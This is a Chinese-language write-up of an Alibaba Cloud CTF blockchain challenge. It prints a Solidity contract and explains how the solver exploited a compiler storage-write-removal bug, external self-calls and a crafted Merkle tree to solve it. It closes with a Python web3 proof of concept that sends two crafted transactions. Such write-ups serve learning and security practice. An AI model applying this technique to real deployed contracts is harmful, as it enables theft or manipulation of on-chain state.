阿里云CTF blockchain
赛时在出去打线下,只做了一个区块链
Source
pragma solidity ^0.8.0;
contract Greeter {
uint256 public x;
uint256 public y;
bytes32 public root;
mapping(bytes32 => bool) public used_leafs;
constructor(bytes32 root_hash) {
root = root_hash;
}
modifier onlyGreeter() {
require(msg.sender == address(this));
_;
}
function g(bool a) internal returns (uint256, uint256) {
if (a) return (0, 1);
assembly {
return(0, 0)
}
}
function a(uint256 i, uint256 n) public onlyGreeter {
x = n;
g((n <= 2));
x = i;
}
function b(
bytes32[] calldata leafs,
bytes32[][] calldata proofs,
uint256[] calldata indexs
) public {
require(leafs.length == proofs.length, "Greeter: length not equal");
require(leafs.length == indexs.length, "Greeter: length not equal");
for (uint256 i = 0; i < leafs.length; i++) {
require(
verify(proofs[i], leafs[i], indexs[i]),
"Greeter: proof invalid"
);
require(used_leafs[leafs[i]] == false, "Greeter: leaf has be used");
used_leafs[leafs[i]] = true;
this.a(i, y);
y++;
}
}
function verify(
bytes32[] memory proof,
bytes32 leaf,
uint256 index
) internal view returns (bool) {
bytes32 hash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (index % 2 == 0) {
hash = keccak256(abi.encodePacked(hash, proofElement));
} else {
hash = keccak256(abi.encodePacked(proofElement, hash));
}
index = index / 2;
}
return hash == root;
}
function isSolved() public view returns (bool) {
return x == 2 && y == 4;
}
}
题目要求是让 x=2 y=4
至于x和y的赋值也比较明显,都是要通过verify去调用,但是我们发现正常来说他们只会相差1 如何相差2呢。
那就是多次调用verify 让x和y不同步。 那么还有一个问题。
function g(bool a) internal returns (uint256, uint256) {
if (a) return (0, 1);
assembly {
return(0, 0)
}
}
这个函数非常蹊跷。通过上面的条件可以发现如果y>=3了 那么就会进入到 assembly,
而汇编中的return(0,0)意思是终止整个交易。我之前看过这样一篇文章:
https://blog.soliditylang.org/2022/09/08/storage-write-removal-before-conditional-termination/
感兴趣的同学可以详细看看,大体意思就是说在这个版本中 return(0,0)会导致这里写的storage 状态回滚。
那么我们在 verify 一个循环为3的长度后 状态为x=2,y=3 那么如果再次进入循环为1的verify 很明显x要被赋值,而上面的这个漏洞正好弥补了这个缺点,而为什么它的y还会增加呢。
因为它使用的是
require(used_leafs[leafs[i]] == false, "Greeter: leaf has be used");
used_leafs[leafs[i]] = true;
this.a(i, y);
y++;
而不是a(i,y)
相当于发起了一个内联交易,停止的只是内联交易 而不是整个我们的verify。剩下的就是构造3个路径的树。
其实比较好构造 2 2的一棵树,用根+第一层节点+第二层中的一个就够了。
ROOT
X . Y
Alice.Bob. Calor Calor
POC:
leafs=[long_to_bytes(0xb57c9b430ecc5b184f7ab285b8c9ca898e3e528c4668d136ee0fab03ae716f86),
long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e),
long_to_bytes(0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486)]
index=[1,0,1]
temp=[[],[long_to_bytes(0x4a35f5bda2916fbfac6936f63313cee16979995b2409de59ceda0377bae8c486)],
[long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e)]]
b1 = {
'from': acct.address,
'to': game_address,
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 487260,
'value': web3.toWei(0, 'ether'),
'data': function_b(leafs,temp,index),
"chainId": 45267
}
print(deploy(b1))
leafs=[long_to_bytes(0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d)]
index=[2]
proofs=[[long_to_bytes(0x804cd8981ad63027eb1d4a7e3ac449d0685f3660d6d8b1288eb12d345ca2331d),
long_to_bytes(0x9b1a0a45cfdc60f45820808958c1895d44da61c8f804f5560020a373b23ad51e)]]
b2 = {
'from': acct.address,
'to': game_address,
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 4872600,
'value': web3.toWei(0, 'ether'),
'data': function_b(leafs, proofs, index),
"chainId": 45267
}
print(deploy(b2))
print(web3.eth.getStorageAt(game_address,1))
感谢Panda提供的优质赛题。